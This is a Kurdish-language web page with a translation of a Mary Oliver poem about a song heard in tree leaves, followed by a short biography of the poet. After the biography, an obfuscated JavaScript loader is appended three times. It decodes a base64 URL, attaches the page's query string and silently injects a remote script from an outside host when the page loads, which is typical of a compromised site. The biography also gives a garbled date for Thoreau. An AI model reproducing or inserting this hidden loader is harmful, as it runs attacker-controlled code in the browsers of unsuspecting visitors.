دێ شێم چ بێژم
هەلبەست: مێری ئۆلیڤەر
وەرگێران: شەمال ئاكرەیی
ما دێ شێم چ بێژم كو من ل بەرێ نە گۆت بیت؟
لێ دێ دوبارەكەم:
د نێڤ بەلگێ دارێ دا سترانەك یا هەی.
كەڤر روی یێ هەدارێ یە.
دنێڤ رویباری دا چیرۆكەكا بێدویماهی یا هەی
ئو تو یێ د جهەكێ وێ دا
ئو ئەو چیرۆك ب دویماهی ناهێت هەتا هەر تشت ب دویماهی دهێت.
دلێ خۆ یێ مژویل بۆ مۆزەخانەیا هونەران
ئو بۆ ژۆرا ازرگانی ببە
بەلێ ببە دارستانێ ژی.
ئەو سترانا تە د بەلگێ دارێ دا گوهـلێبووی
زارۆكەك بوو هێشتا وێ سترانێ دبێژیت.
دەمەكێ درێژە ئەز یا د ژیانێ دا، هەفتێ و چار سالە،
ئو ستران هێشتا یا بەردەوامە.
مێری ئۆلیڤەر: هەلبەستڤان و رۆماننڤیسەكا ئەمریكی یە ل ١٠ێ ئیلونا سالا ١٩٣٥ێ ل ماپل هایتس ل ویلایەتا ئۆهایو هاتییە سەر دنیایێ. دوازدە خەلاتێن گرنگ د بیاڤێ ئەدەبیاتان دا وەرگرتینە ژ وان ژی خەلاتێ نیشتمانی یێ كتێبێ و خەلاتێ پولیتەرز و خەلاتێ پەنا ئینگلیزی.
ئێكەم دیوانا وێ ل سالا ١٩٦٣ێ ل ژێر ناڤێ (چ گەشت و چ هەلبەستێن دی نینە No Voyage, and Other Poems Dent) چاپبوویە. د ژیانا خودا ٣٥ دیوانێ هەلبەستان گەل ٤ پەرتۆكێن پەخشانان نڤیسینە.
مێری ئۆلیڤەر، د شێوازێ خو یێ هەلبەستكی دا ب جەلالەدینێ رۆمی (١٢٠٧ – ١٢٧٣)، حافزێ شیرازی (1326 – 1390)، هینری دێڤید تۆرو (١٩٦٢ – ١٨١٧)، پێرسی بیش شیلی (١٧٩٢ – ١٨٢٢)، وولت وێیتمان (1819 – 1892) و جۆن كیستس (١٧٩٥ – ١٨٢١) داخبار بوویە.
دهەلبەستێن خو دا گەلەك یا گرێداییە ب سروشت و جهی. هەژمارەكا هەلبەستان ب رۆمانسییەتا نوی نڤیسینە، كو دانێ ب هەبوونا سنووران د نێڤبەرا سروشتی و ناخێ مرۆڤی ناكەت.
ئۆلیڤەر گەلەك حەز ژ رێڤەچوونی دكر و بۆ دەمژمێران پەیاسە دكرن و پترییا هەلبەستێن خۆ د دەمێ رێڤەچوونێ دا نڤیسینە و هەر تشتێ كەفتبا بەر چاڤێن وێ دەمێ پەیاسەكرنێ د هەبەستێن خۆ دا بەرجەستە دكر؛ لەوڕا ناڤێن بالندەیان، گولان، هەیڤێ، نەهەنگ و كمكما و بەق و ماران …هتد بۆ گەلەك جاران د هەلبەستێ وی دا هەنە.
مێری ئۆلیڤەر د ژیێ ٨٣ ساڵی دا ل ١٧ێ كانوونا دویێ یا سالا ٢٠١٩ێ كۆچا دویماهیێ كرییە.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
